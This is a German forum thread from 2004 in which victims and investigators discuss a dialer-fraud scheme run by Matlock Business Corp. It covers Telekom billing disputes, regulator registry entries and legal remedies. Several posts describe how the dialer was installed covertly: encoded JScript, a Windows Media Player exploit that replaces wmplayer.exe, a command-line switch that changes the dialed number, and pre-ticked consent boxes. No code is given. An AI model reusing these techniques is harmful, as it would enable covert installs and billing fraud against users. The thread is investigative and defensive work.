Pro jeweils gespeichertes Quartal und pro Dialer-Nummer sind simultan dann nur 10 Verdachtsfälle bei der Deutschen Telekom aktenkundig. (Alle anderen Reklamationen stoßen ins Leere, weil sie keiner Dialer-Nummer und schon gar nicht einem „Mehrwertdienste-Anbieter“ zugeordnet werden können. Dahinter können sich Hintz und Kuntz verbergen, nur nicht unsere gut getarnte „ehrenwerte“ Firma X.)

Von diesen 10 Kunden kennen auf Anhieb oder finden per Internet nur 40% die Datenbank der RegTP und können auch mit der Datenbank umgehen. Das sind ganze 4 Kunden pro „Mehrwertdienste-Anbieter“, die in der Lage sind, den Namen der eigentlich abkassierenden Firma X herauszubringen. Und ich bitte Euch, 4 lumpige Reklamanten pro „Mehrwertdienste-Anbieter“, das ist doch statistisch nicht signifikant, das ist doch Grundrauschen, oder ???

Und damit die Telekom weiterhin den Schlaf des Gerechten schläft und nur amtet, aber nicht engagiert reagiert, zahlt Firma X der Telekom vermutlich satte 25% vom sauer verdienten Umsatz als „Mehrwertdienste-Anbieter“, nur fürs Inkasso.

Und alle sind’s zufrieden, an erster Stelle der „Mehrwertdienste-Anbieter“ aus Belize und sein Partner-Inkasso-Unternehmen „Big-Bills“, auch die Telekom ist zufrieden, das Finanzamt ist zufrieden, die Telekom-Aktionäre sind zufrieden.  Die Bundesministerin für Verbraucherschutz ist stolz (das Gesetz gegen die 0190-Nummern hat voll gegriffen, Deutschland ist Vorreiter im Verbraucherschutz, wir haben in Deutschland den Dialer-Betrug voll im Griff, alles Paletti !), die Regierung und die rot-grüne Koalition sind stolz, alle, alle, sind zufrieden oder stolz, da stören doch ein paar unbegründet und ohne gerichtsverwertbare Beweise aufmüpfende Nörgler nicht. „Die hobn nackerte Weibsbilder ag’schaut und wollns ehna nur ums bezohln druckn. Recht geschiat ehna !“

__________________________________________________________________________

Wie verteilen sich die 100.000.000,- Euro Umsatz auf die einzelnen Unternehmen?
Bei einer angenommenen Marge von 25% würde die Deutsche Telekom 25.000.000,- Euro behalten.
Bei einer angenommenen Marge von 40% würde das zweite Inkassounternehmen „Big-Bills“ immerhin noch 30.000.000,- Euro behalten. 
Firma X erhielte dann den schäbigen Rest von  45.000.000,- Euro, die sie je nach Firmensitz, z.B. in Belize, wahrscheinlich nicht oder kaum versteuern muß. Da macht selbst ein Bußgeld von 100.000,- Euro im Falle, dass Firma X wider Erwarten von der RegTP bei irgendeiner Manipulation erwischt wird, nur etwa 2 Promille vom Umsatz aus. Das gehört zu den einkalkulierten Betriebskosten.

Und egal, wie hoch die Margen bei der DTAG und beim Inkassounternehmen „Big-Bills“ tatsächlich liegen, kassiert das Finanzamt seine circa 50%+ ab.
__________________________________________________________________________

Diese Betrachtung ist nur science fiction, jede Ähnlichkeit mit betrügenden und abzockenden Firmen ist rein zufällig, keinesfalls beabsichtigt und wird jetzt schon - falls sich jemand „betroffen“ fühlt - mit dem Ausdruck des tiefsten Bedauerns vorsorglich zurückgenommen, 

® Patents pending

Mit besten Grüßen von der Himmelspforte
Euer Petrus

_URL vollständig entfernt! Werbung für offene Hardcore-Pornoseiten brauchen wir hier nicht! Dino_


----------



## cicojaka (7 März 2004)

und das jetzt im Klartext an den Spiegel und ich kann mich wieder meiner Familie widmen.. "Petrus", "Fischchen" --> um Netze geht's dem einen wie dem andern 

Ach schade, ist ja nur Fiktion. Mist aber auch.


----------



## Petrus (7 März 2004)

Liebes Forum, 
folgendes ist keine science fiction:

Die Matlock Business Corp., Belize, hat bei der „RegTP“ 
(= Regulierungsbehörde für Telekommunikation und Post):
seit 9. Dezember 2003 mindestens 242 Dialer-Nummern mit der Vorwahl 0900-9 registriert, und zwar die konsekutiven Nummern von 
0900-90.000.229  
bis 
0900-90.000.470.

Pro Dialer-Nummer wurden ein bzw. drei Dialer registriert.


Die Matlock Business Corp., Belize, hat bei der „RegTP“
am 5. Dezember 2003 mindestens 100 Telefonnummern mit der Vorwahl 0190 registriert, und zwar die konsekutiven Nummern von 
0190-833 942 000 
bis 
0190-833 942 099.

Pro Dialer-Nummer wurde ein Dialer registriert.

Nachzuschauen unter:  http://bo2005.regtp.de/prg/srvcno/dialer.asp 

Es würde mich sehr freuen, wenn ich dem ein oder anderen Staatsanwalt und dem ein oder anderen Journalisten und natürlich allen Geschädigten mit diesen Informationen etwas weiterhelfen konnte.

Möge das Licht in die Tiefen der Finsternis dringen  !!

Euer Petrus


----------



## cicojaka (7 März 2004)

und die Abrechnungsfirma in E bat Anfang 2003 um Mithilfe:



			
				eb-vorgänger-gmbh-abkürzung schrieb:
			
		

> wir sind auf der Suche nach einem neuen Dialer. Er sollte dabei nicht allzu groß sein, was die KB Zahl betrifft und den Anforderungen der FST entsprechen. Also auch nicht dauerhaft im DFÜ-Netzwerk zu finden sein. Am besten eine exe-Datei, die man auf dem Desktop abspeichern kann und eine temporäre DFÜ Verbindung aufbaut. Mit dem löschen der exe soll dann auch wirklich alles vorbei sein )





Aber das ist doch alles so offensichtlich und schlecht verborgen, dass es längst bekannt sein müsste. Das sollte einem zu denken geben...


Eine Falle???


----------



## Petrus (7 März 2004)

Liebes Forum,

auch folgendes ist keine science fiction, 
wenn auch bisher nur in Einzelfällen dokumentiert:


Wenn man direkt die URL der Matlock-Web-Seiten aufruft, ist scheinbar alles in schönster Ordnung, der hier eingesetzte dialer ist eine regelrechte „Vorführversion“.

Kommt allerdings ein Surfer ahnungslos über ein Link auf die Matlock-Web-Seiten, dann spielt sich in den Abgründen der Finsternis diabolisches ab, so dass selbst dem Oberteufel Luzifer (= der Lichtträger !) die Haare usw. zu Berge stehen: der Abzock-Dialer von Matlock macht sich ans heimliche, einträgliche Werk. 

_______________________________________________________________________


Die Einzelbelege: 
_______________________________________________________________________

Mitglied „Tonguru“ berichtete am 18.01.2004 um 14:01, aber in einem Forum mit anderer Überschrift (deshalb zitiere ich seinen Bericht hier nochmals):

„Beim direkten Zugriff auf den "[geheimen] Mitgliederbereich" kommt stets die Sicherheitsabfrage, nach Umleitung durch eine externe URL jedoch sind die beiden "Ja" bereits brav eingetragen...

http://forum.computerbetrug.de/viewtopic.php?t=3710&postdays=0&postorder=asc&start=23
und
http://forum.computerbetrug.de/view...ys=0&postorder=asc&highlight=matlock&start=30 

_______________________________________________________________________

Mr.Scrut, Rookie, schrieb am Mi, 04.02.2004, 22:20    

„Ich konnte die web.exe sichern. Hab ich auch schon im Matlock-Thread geschrieben. Erstaunlicherweise zeigt sie beim Start alles so an, wie in der RegTP-Datenbank (Eintrag 17.12.) beschrieben. Das heißt, man muss 'ja' eingeben, Preise, Nummer usw. werden angezeigt. Ich habe aber in meinem Fall, wo es zur Verbindung kam, nie bestätigt bzw 'ja' eingegeben. Da Datum und Uhrzeit der Erstellung der Datei mit dem Zeitpunkt der Verbindung übereinstimmen, kann es sich auch nicht um eine andere web.exe handeln. 
Soll heissen, das die Datei womöglich mit Übergabe von Parametern auch ohne Bestätigungseingabe gestartet werden kann. ........“

Mr.Scrut

http://forum.computerbetrug.de/view...ys=0&postorder=asc&highlight=matlock&start=60 

_______________________________________________________________________


Buchautor Peter Huth gibt ebenfalls eine Beschreibung des doppelgleisigen Mechanismus, der da offensichtlich abläuft: der offizielle scheinbar korrekte Ablauf auf dem Monitor und parallel die diabolischen unsichtbaren Aktionen in den Tiefen des PC:

„Wer diese Seite öffnet, sieht sechs kämpferische nackte Frauen und darunter ganz breit "Ja, WEITER". Natürlich klickt Mann auf dieses "Ja, WEITER", und es öffnet sich ein kleines Fenster mit dem Hinweis: "Sie haben die AGBs nicht akzeptiert!" Durch diesen Mausklick wird im Hintergrund die oben zuerst genannte Seite geöffnet. Durch das Schließen des Fensters wird die fordere Webseite in die Taskleiste geschickt.
Damit man nun nicht zu viel eintippen muss, sind die beiden "Ja", die von der Reg TP vor dem Download eines Dialers verlangt werden, schon mal vorhanden. Auch sonst geben die Webseitenbetreiber mit RegTP-lizensiertem Dialer die größtmögliche Hilfestellung bei der Anwahl der 09009-Nummer.
Die Kosten für die Nutzung betragen 29,99€ für 20 Minuten. Sie werden mit der Rufnummer 090090000422 verbunden. Der Hashwert des Dialer ist b3ce89adb6e451c82935178a6e348760. Die Firma, an die Sie das Geld abdrücken müssen, hat Ihren Sitz im Karibikstaat Belize. Das ist alles korrekt. Sogar die Wirkungsweise des Dialers wird korrekt beschrieben. Er hat etwas besonderes zu bieten. Sobald Sie die Verbindung beenden wird er gelöscht.
Ein Schelm, wer böses dabei denkt. Sie klicken auf Eingang. Das Bild springt um: "Mitgliederbereich wird geladen bitte einen Moment warten... ". Plötzlich öffnet sich auf der linken Seite ein Frame mit dem Mediaplayer. Allerdings wird die gesuchte Mediaressource nicht gefunden.
Wenig später findet mein Dialerschutzprogramm doch etwas. Ein Dialer versucht sich plötzlich hinter meinem Rücken mit der Nummer 090090000422 einzuwählen.
Der Dialer mit Namen "gjmc.exe" - der vierbuchstabige Name wird nach Zufallsprinzip ausgewählt - befindet sich im Verzeichnis "C:\Dokumente und Einstellungen\Administrator[username]\Lokale Einstellungen\Temp\". Damit alles auch schön glaubwürdig aussieht und niemand merkt, dass er längst abgezockt wird, bekommt man natürlich auch noch einen offiziellen Dialer zum Download angeboten.“
http://www.peterhuth.de/indexall.php?seite=dialerabzocke01.php 

_______________________________________________________________________


Das alles ist nicht ganz neu, gleichwohl doch nur wenige Wochen alt, und soll nochmals für interessierte Kreise (Geschädigte, Journalisten, Staatsanwälte, Ermittlungsbehörden) in den richtigen und geballten Zusammenhang gebracht werden.

Vielleicht lässt sich ja ein PC-Freak und Leser dieser Zeilen dazu motivieren, den o.a. Mechanismus mit Datum und Ausdrucken in gerichtsverwertbarer Weise zu dokumentieren und dem Forum zwecks Vorlage bei der Staatsanwaltschaft in Flensburg zu überlassen.

Herr, schenke uns ein großes und starkes Netz, wir wollen einen „Big fish“ fangen.

Euer Petrus


----------



## eb-victim (7 März 2004)

*Wie funktioniert der Matlock-Dialer?*

Hi, Folks!

Ich versuche zu verstehen, wie die Matlock-Dialer unbemerkt auf Kundenrechner kommen - und stieß auf
<SCRIPT LANGUAGE="JScript.Encode">

Habe das Zeug mal entschlüsselt.
Bin noch mit der Analyse beschäftigt, aber die treiben irgendwelche Spielchen mit WMPLAYER.EXE und WMPLAYER.EXE.BAK (kommt Euch das bekannt vor?)
Hat sich das schon mal jemand genauer angesehen?

Ansonsten habe ich festgestellt, dass man den Dialer durch die Option -ph dazu bringt, eine andere Nummer anzuwählen - m. E. ein weiterer Verstoß gegen die Mindestanforderungen.


----------



## cicojaka (8 März 2004)

*Re: Wie funktioniert der Matlock-Dialer?*



			
				eb-victim schrieb:
			
		

> Ansonsten habe ich festgestellt, dass man den Dialer durch die Option -ph dazu bringt, eine andere Nummer anzuwählen - m. E. ein weiterer Verstoß gegen die Mindestanforderungen.



Ist es das? Da muss ich mal nachlesen. Denn Nummernwechselspielchen kennen eine Reihe von dialern...


technischer Rat: Ich bin doch PC-technisch dumm wie Oskar... Mein Lieblingstool bei der Recherche ist "Inforapid". Dieses Programm sucht Text in fast allen Dateien... Wenn man weiss, wonach man sucht, kann es hervorragende Dienste leisten. (Gibt sicher ähnliche tools)

gerade wenn Du einen bestimmten scriptbefehl suchst (zB: starteden.dialer, lach) findet das Dingens den halt überall. Seeeeehr praktisch. und made in germany


----------



## eb-victim (8 März 2004)

*Re: Wie funktioniert der Matlock-Dialer?*



			
				cj schrieb:
			
		

> Ist es das? Da muss ich mal nachlesen. Denn Nummernwechselspielchen kennen eine Reihe von dialern...





			
				RegTP Vfg 54 schrieb:
			
		

> Die Mehrwertdiensterufnummer, zu der die entgeltpflichtige Verbindung zu dem Mehr-wertdienst
> hergestellt werden soll, muss im Anwählprogramm selbst fest verankert sein
> („monolithisches Anwählprogramm“).


----------



## cicojaka (8 März 2004)

*Re: Wie funktioniert der Matlock-Dialer?*



			
				eb-victim schrieb:
			
		

> cj schrieb:
> 
> 
> 
> ...



 :bash:  :bash:  :bash:  :bash:  :bash: 

reicht nicht:

 :splat: 

Das Ding liegt dreifach ausgedruckt herum, aber das habe ich ignoriert


----------



## eb-victim (8 März 2004)

*Matlocks WMPLAYER.EXE?*

Also: die echte WMPLAYER.EXE wird als WMPLAYER.EXE.BAK gesichert und durch eine neue WMPLAYER.EXE ersetzt.
Hat die jemand auf seinem Rechner gefunden? Ich hätte gerne eine Kopie zur Analyse (bitte per PN melden).


----------



## TSCoreNinja (8 März 2004)

*Re: Wie funktioniert der Matlock-Dialer?*



			
				eb-victim schrieb:
			
		

> Ich versuche zu verstehen, wie die Matlock-Dialer unbemerkt auf Kundenrechner kommen - und stieß auf
> <SCRIPT LANGUAGE="JScript.Encode">
> 
> Habe das Zeug mal entschlüsselt.
> Bin noch mit der Analyse beschäftigt, aber die treiben irgendwelche Spielchen mit WMPLAYER.EXE und WMPLAYER.EXE.BAK (kommt Euch das bekannt vor?)


Duerfte irgendein Buffer-Overflow im Windows Media Player sein (zum Bleistift hier), der zum Remote Attack verwendet wird. Wer den folgenden Satz glaubt, wird mit Telefonrechnungen nicht unter 100 Euro bestraft:
Es gibt keinen Weg irgendeine Software gegen den Willen und ohne Bestätigung des Nutzers auf dessen Rechner zu installieren.

Gruesse,
TSCoreNinja


----------



## blumenwiese23 (8 März 2004)

tag zusammen. mich würde mal interessieren, wie weit ihr in sachen mahnung bei der dtag seid. ich dachte eigentlich, wenn man den unstrittigen betrag von der telekom pünktlich bezahlt (lastschrift oder überweisung), hat man ruhe vor der telekom. wie schon in einem vorherigen posting erwähnt, habe ich die letzte mahnung bekommen mit einer drohung "...rechtliche schritte einleiten..." . 
schreibt doch mal bitte, ob ihr so ein schreiben auch schon bekommen habt.
 danke


----------



## blumenwiese23 (8 März 2004)

*übersehen.*

hab doch gepostet, dass mir ein telekom-mitarbeiter am telefon gesagt hat, mein einwand von 19.02.04 noch nicht bearbeitet worden ist bzw. steht noch nicht in meiner akte bei der telekom drin. bei meiner zweiten mahnung steht allerdings unter "ihre referenzen" 19.02.04. da heisst doch, dass sich das schreiben bzw. die zweite mahnung auf meinen einwand vom 19.02.04 bezieht. oder?? 
die luft wird dünner. 

kommt nochmal eine mahnung oder ist die nächste instanz der gerichtliche mahnbescheid. sollte ich nochmal einen einwand schreiben bzw. bei der hotline anrufen??? wenn ich die hotline nochmal anrufe, was sollte ich sagen.

danke


----------



## Qoppa (8 März 2004)

@ blumenwiese

seit Anfang des Jahres hat die Telekom das verkürzte Mahnverfahren eingeführt, - d.h. im Regelfall nur eine Mahnung, dann ab zum (eigenen) Anwalt oder, falls Forderung von "anderem Anbieter", an den weitergeleitet.

Es ist wohl recht unterschiedlich, wie lange das dann dort hängt, wieviele letzte und allerletzte Zahlungsaufforderungen ergehen ... Bis ein Mahnbescheid kommt, dauert es wohl schon einige Monate.

Erfahrungsgemäß hat es wenig Sinn, anzurufen usw., - wenn Du es einmal schriftlich klar erklärt hast und sie nicht darauf eingehen, dann werden sie es auch weiterhin ignorieren. Außer vielleicht Du nervst sie SEHR hartnäckig ...


----------



## Anonymous (8 März 2004)

Tja, normalerweise jeder Anruf bei der Kundenbetreuung ist auch im Komputer gespeichert, besonders, wenn sich es um eine Akte handelt.
Da wir alle bei der DTAG ein Kontohaben angehend mit dem Anschluss, heisst es, Anrufen - Kontonummer durchgeben - Bla Bla Bla - ergebnisse vom Gespräch speichern - Post kommen. Das ist die Kette, die im normalfall funktioniert.  In deinem Fall, werde ich sie mit Anrufen quälen bis sie irgendwie reagieren. Was mich direkt betrifft ist, dass DTAG bislang seine Rechnung seit 10 tagen, seit der Rechnungausstellung, nichts abgebucht hat. Weder Schreiben, noch Email. Also es wird auch spannend. Falls die DTAG nicht an meine Bescherde einsprigt, folgt Überweisungsstop bei der Bank und wieder Briefe schreiben. Sobald es Bewegung gibt, werde ich es hier melden. 

Ich weiss es nicht, um wie viel Geld es sich in deinem Fall handelt, aber wenn es Über 100 Euros sind, dann werde ich an deiner Stelle Ihnen di Stirn anbieten. Sollte es zum Gerichtsprozess kommen, hoffe ich, dass wie mich, auch andere Betroffene aussagen werden. 
Wir müssen uns allen helfen, und nicht jeder für sich selbst, denn es wird immer weiter funktionieren und solche Betrüger davon profitieren.


----------



## Anonymous (8 März 2004)

> Wer den folgenden Satz glaubt, wird mit Telefonrechnungen nicht unter 100 Euro bestraft:
> Es gibt keinen Weg irgendeine Software gegen den Willen und ohne Bestätigung des Nutzers auf dessen Rechner zu installieren.



naja, die weisen halt alle schuld weit von sich..das verhalten kennt man ja..

kann man sich nicht mit ner kamera hinsetzen und mal so ein spielchen durchmachen (also installation, wechseln und loeschen) oder ma besten mit einem notar o.ae. 
das muss doch ein echter beweis sein, oder?!
oder live vor gericht, im fernsehen...
mann, ich fass es nicht, dass diese (wueste flueche) ehrlich leute abzocken, damit durchkommen und sich ein schoenes leben machen.

die regtp muesste doch selbst schon bemerkt haben, dass hier zahlreiche verstoesse vorliegen..warum reichen die keine klage ein?

nochmal. es muss doch eine moeglichkeit geben einen echten beweis erbringen zu koennen!

gruss
jk (geschaedigt und noch gast)


----------



## Fidul (9 März 2004)

*Re: Wie funktioniert der Matlock-Dialer?*



			
				eb-victim schrieb:
			
		

> Ich versuche zu verstehen, wie die Matlock-Dialer unbemerkt auf Kundenrechner kommen - und stieß auf
> <SCRIPT LANGUAGE="JScript.Encode">
> 
> Habe das Zeug mal entschlüsselt.
> Bin noch mit der Analyse beschäftigt, aber die treiben irgendwelche Spielchen mit WMPLAYER.EXE und WMPLAYER.EXE.BAK (kommt Euch das bekannt vor?)


Sieh dir das mal an:


			
				heise Security - c't-Browsercheck schrieb:
			
		

> Der Original-Exploit überschreibt auf diesem Weg den Windows Media Player wmplayer.exe durch eine andere, aus dem Netz geladende Datei. Durch den Aufruf einer Multimedia-URL ("mms://") wird diese Datei dann gestartet.


Haben die Matlocker diesen Exploit für ihre Zwecke verwendet? Vergleiche mal deinen decodierte JS-Code mit dem von der c't-Seite.


----------



## eb-victim (9 März 2004)

*Re: Wie funktioniert der Matlock-Dialer?*



			
				Fidul schrieb:
			
		

> Vergleiche mal deinen decodierte JS-Code mit dem von der c't-Seite.


Auf den ersten und zweiten Blick scheint alles zu passen. Vielen Dank für den Tipp!
Der c't-Exploit funktioniert auf meinem Testrechner nicht - anscheinend versuchen die Matlock-Dialer-Seiten mehrere Tricks, und ich muss immer noch herausfinden, welcher Trick auf meinem Rechner funktionierte ...


			
				c't schrieb:
			
		

> Es genügt ein einziger voreiliger Mausklick auf einen Link, damit eine Datei auf Ihren Rechner heruntergeladen und dort ausgeführt wird.


Spätestens vor Gericht werde ich das den Telekomikern zeigen ...


----------



## blumenwiese23 (9 März 2004)

@eb-victim, du schreibst was von einem rechtsstreit. wie weit bist du bei der telekom. hast du schon eine mahnung??

gruss


----------



## eb-victim (9 März 2004)

@blumenwiese23


			
				blumenwiese23 schrieb:
			
		

> @eb-victim, du schreibst was von einem rechtsstreit. wie weit bist du bei der telekom. hast du schon eine mahnung??


Bis jetzt nur den Standardtext (Easybilling ist seriöser Anbieter ...), aber keine Mahnung.


----------



## blumenwiese23 (9 März 2004)

hab gerade bei der telekom angerufen. haben meine akte nicht mehr. ich hab den anschluss gekündigt wegen umzug. die mussten erst in die backup abteilung um meine daten zu bekommen. mir konnte niemand auskunft geben in sachen dialer. ich bekomme einen rückruf, weil die leute in einer "sonderbesprechung" sind. was das wohl heissen soll???

gruss


----------



## Anonymous (9 März 2004)

Hallo!
Habe auch Spass mit diesem netten "Anbieter"...090090000268! Zwei EInwahlen am 14.01.04 à 25,bzw.40 Sek.!Verweigere noch die Zahlung, aber die Telekom mahnt trotz Anzeigenerstattung - was soll ich tun?


----------



## blumenwiese23 (9 März 2004)

*telekom kann nicht lesen???*

hallo hier ein paar infos aus der anlage der mahnungen von der telekom:

Hinweis: Die unter einer 0190-/0900-Rufnummer vor dem 14.12.2003 registrierten Dialer sind weiterhin in der Datenbank enthalten, dürfen jedoch nicht mehr eingesetzt werden. Nach Rechtsauffassung der RegTP besteht daher auch kein Zahlungsanspruch für nach dem 14.12.2003 hergestellte Verbindungen.

dann schau ich doch mal bei der regtp vorbei und bekomme folgendes:

Rufnummer (ohne 0)
 Dialerversion
 Dialerhashwert

 Blättern 1 bis 3 von 3 gefundenen Datensätzen 

 Suchergebnis: 

--------------------------------------------------------------------------------
Reg.-Nr.: 90090000423-734802 vom : Dec 9 2003 10:20AM 
Adressierungsmerkmal : 
Hash - Wert :e69c076af7881bdb449ab5ce16221f6d 
Dateiname : Dialer_090090000423.exe 
Dialer - Version : 2.0.0.49  
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize
Wirkungsweise und Ladungsfähige Adresse des Registrierungsverpflichteten 
--------------------------------------------------------------------------------


--------------------------------------------------------------------------------
Reg.-Nr.: 90090000423-755974 vom : Dec 17 2003 1:33PM 
Adressierungsmerkmal : 
Hash - Wert :e1a46225a9d2e154e7c8be1a1463d2df 
Dateiname : Dialer_090090000423.exe 
Dialer - Version : 2.0.0.13  
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize
Wirkungsweise und Ladungsfähige Adresse des Registrierungsverpflichteten 
--------------------------------------------------------------------------------


--------------------------------------------------------------------------------
Reg.-Nr.: 90090000423-1263837 vom : Feb 4 2004 9:50AM 
Adressierungsmerkmal : 
Hash - Wert :6D385B12B54BC39183241D7D1D99A3FC484F0AF0 
Dateiname : Dialer_090090000423.exe 
Dialer - Version : 3.0.0.13  
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize
Wirkungsweise und Ladungsfähige Adresse des Registrierungsverpflichteten 
--------------------------------------------------------------------------------

Man beachte die registrierdaten!!!!
-die erste nummer ist VOR dem 14.12.2004 registriert!!
-die zweite scheint registriert zu sein.
-die dritte ist NACH meinen ungewollten verbindungen registriert worden.

Das habe ich gerade einer sehr unfreundlichen dame an der t-hotline geschildert. die stellen auf stur.
oder hab ich mich falsch ausgedrückt. oder kann man den absatz mit HINWEIS in alle richtungen auslegen??

bei meiner zweiten dialernummer geschieht das gleiche.:
auch da scheint nur eine dialernummer pünktlich registriert zu sein.

Suchergebnis: 

--------------------------------------------------------------------------------
Reg.-Nr.: 90090000264-734884 vom : Dec 9 2003 10:20AM 
Adressierungsmerkmal : 
Hash - Wert :542c9e18fc359a0cb2353808420e94a9 
Dateiname : Dialer_090090000264.exe 
Dialer - Version : 2.0.0.205  
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize
Wirkungsweise und Ladungsfähige Adresse des Registrierungsverpflichteten 
--------------------------------------------------------------------------------
 --------------------------------------------------------------------------------
Reg.-Nr.: 90090000264-756025 vom : Dec 17 2003 1:33PM 
Adressierungsmerkmal : 
Hash - Wert :0bcb65d276d94b6aa9233cd48658558b 
Dateiname : Dialer_090090000264.exe 
Dialer - Version : 2.0.0.4  
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize
Wirkungsweise und Ladungsfähige Adresse des Registrierungsverpflichteten 
--------------------------------------------------------------------------------
 --------------------------------------------------------------------------------
Reg.-Nr.: 90090000264-1263828 vom : Feb 4 2004 9:50AM 
Adressierungsmerkmal : 
Hash - Wert :6AF1E01A7D6B5E892ED6D90B5562EF0CD26A895C 
Dateiname : Dialer_090090000264.exe 
Dialer - Version : 3.0.0.4  
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize
Wirkungsweise und Ladungsfähige Adresse des Registrierungsverpflichteten  
@der jurist, ich hoffe ich habe den absatz HINWEIS richtig interpretiert.


----------



## Anonymous (9 März 2004)

*Dialer*

Ich war ungewollt im Janur unter der Nummer.....090090000263
Ich musste für 2 SEKUNDEN ca 60€ bezahlen, ich habe auch schon die 2. Mahnung bekommen. Auf manchen von diesen Seiten steht das man nicht bezahlen soll! Was soll ich machen?
War jemand schon einmal vor Gericht deswegen?

Ich hoffe wir bekommen EASY BILLING hinter Gitter!

ICh habe keine Seriöse Mahnung bekommen sonder eine RICHTIGE.
BEi mir wählte sich die Nummer ohne meinen Willen ein!


----------



## cicojaka (9 März 2004)

Anonymous schrieb:
			
		

> kann man sich nicht mit ner kamera hinsetzen und mal so ein spielchen durchmachen (also installation, wechseln und loeschen) oder am besten mit einem notar o.ae.
> das muss doch ein echter beweis sein, oder?!
> oder live vor gericht, im fernsehen...



Es gibt ein Programm "camtasia", mit dem kann man "Screenvideos" drehen, auf denen man alles sieht, was auf dem BIldschirm abläuft. Darauf erkennt man auch nur kurz eingeblendete links auf pop-ups... Meines Wissens arbeitet auch die RegTP mit solchen Programmen...

Es gibt eine demo-Version, aber da es ein kommerzielles Programm ist, will ich es hier (noch) nicht verlinken!

cj


----------



## technofreak (9 März 2004)

*Re: Dialer*



			
				Höbund schrieb:
			
		

> War jemand schon einmal vor Gericht deswegen?


nein 


			
				Höbund schrieb:
			
		

> ICh habe keine Seriöse Mahnung bekommen sonder eine RICHTIGE.


was heißt das, einen gerichtlichen Mahnbescheid mit dem Feld für das Kreuzchen 
 für den Widerspruch ohne Begründung und der Belehrung:

*"Das Gericht hat nicht geprüft, ob dem Antragsteller der Anspruch zusteht."* ? 

http://forum.computerbetrug.de/viewtopic.php?t=1986

tf


----------



## hajune (9 März 2004)

Tja Leute,

ich versteh` die ganze Sache nicht. Auch ich bin Opfer eines Dialers geworden. Dabei habe ich nix gemacht. Der Mistkerl hat sich unbemerkt und ohne meinen Willen bei mir installiert und eine Verbindung hergestellt. Das habe ich gemerkt und die Verbindung sofort unterbrochen. Die Rechnung der T...kom lautet für 8 Sekunden 29,95 €. Meiner Schilderung wollten Sie nicht folgen und bestehen auf Begleichung dieses Betrages. Ansonsten drohen Sie mit Sperrung des Telefons und gerichtlicher Beitreibung des Betrages.

Bin ich hier in einer Bananenrepublik oder in einem Rechtsstaat?

Ein Haustürgeschäft kann ich innerhalb einer bestimmten Frist rückgängig machen, obwohl ich bereits einen Vertrag unterschrieben habe. In obigem Fall habe ich überhaupt keine Willenserklärung abgegeben und soll bezahlen, obwohl ich keine Leistung erhalten habe.

Hat jemand Erfahrung damit, wie weit die T...kom in solchen Fällen geht, bzw. ob sich der Dialer selbst meldet? Möglicherweise habe ich ja demnächst ....

_[Wg. rechtlicher Bedenken editiert - HDUS]_


----------



## webwatcher (9 März 2004)

hajune schrieb:
			
		

> Hat jemand Erfahrung damit, wie weit die T...kom in solchen Fällen geht,
> bzw. ob sich der Dialer selbst meldet? ][/i]



Siehe http://forum.computerbetrug.de/viewtopic.php?t=4161

ww


----------



## TSCoreNinja (9 März 2004)

hajune schrieb:
			
		

> Ansonsten drohen Sie mit Sperrung des Telefons und gerichtlicher Beitreibung des Betrages.


Zur Sperrung:


			
				TKV schrieb:
			
		

> (3) Sperren sind im Rahmen der technischen Möglichkeiten auf den betroffenen Dienst zu beschränken und unverzüglich aufzuheben, sobald die Gründe für ihre Durchführung entfallen sind. Eine Vollsperrung des allgemeinen Netzzugangs darf erst nach Durchführung einer mindestens einwöchigen Abgangssperre erfolgen.
> 
> (4) Die Sperre nach Absatz 1 Nummer 1 unterbleibt, wenn gegen die Rechnung begründete Einwendungen erhoben wurden und der Durchschnittsbetrag nach § 17 bezahlt oder eine Stundungsvereinbarung getroffen ist.



Sperrung ist also nicht zulaessig. Ansonsten ist eine gerichtliche Klaerung dringend noetig, ich wuerde davor keine Angst haben. Wenns zum Gerichtsverfahren kommt, mach es hier publik und bitte ein paar Forenmitglieder/Mitgeschaedigte, als Zeugen geladen zu werden.

BTW, das mit der Bananenrepublik habe ich auch schon oefter im Dialercontext gedacht...

TSCoreNinja


----------



## cicojaka (9 März 2004)

*Re: Dialer Opfer von 090090000092/Firma Consul....HILFE!!!!*



			
				ravebabe109 schrieb:
			
		

> Hi!
> 
> Mein Problem ist, dass sich am 2.1.04 und am 4.1.04 ein Dialer bei uns eingewählt hat mit der Nummer 090090000092. Wir haben auch die angebliche Adresse durch die Telekom rausbekommen. Es handelt sich dabei um die Firma Consul in Köln. Die Rechnung, die uns diese Firma gestellt hat betrug 120€, was ich aber nicht einsehe zu zahlen, da ich ja nix von diesem Mist wollte!



Du bist hier im falschen Faden, denke ich...

Folgendes Tun:

1. http://bo2005.regtp.de/prg/srvcno/dialer.asp? --> deine Nummer eingeben.


2. Hier gibt es einen "Erste-Hilfe-Kasten", den dir sicher jemand linken kann (muss mir den link endlich mal merken)

3. "Firma Consul in Köln" --> bitte PN, wer ist das??? (oder poste es hier, auch wenn es off topic ist)


----------



## juanito (9 März 2004)

Hallo allerseits,

auch ich bin ein Geschädigter (Nr. 090090000263) und stehe in "Verhandlungen" mit der Telekom. 

Leider habe ich nicht so viel Glück wie einige die hier gepostet haben, daß die Telekom in ihren Fällen auf den strittigen Betrag verzichtet. 

Meine Frage:  Hat jemand zu diesen erfolgreichen Einsprüchen irgendwelche Details (Referenz), die mir der- oder diejenige zusenden könnte? Ich habe auch schon an die beiden ("kingossi" und "Opfer"), die hier von erfolgreichen Einsprüchen gepostet habe,  Nachrichten verschickt, jedoch von keinem auch nur eine Antwort bekommen...  ich bin fast geneigt zu glauben, diese Infos waren gar nicht reell.

Also wer Erfolg bei der Telekom hatte, wäre es möglich mir hier irgendwelche Details zukommen zu lassen. (vielleicht auch erst nach vorherigem Telefonkontakt)

Vielen Dank


----------



## Anonymous (9 März 2004)

*Easybilling und Co.*

Hallo zusammen,

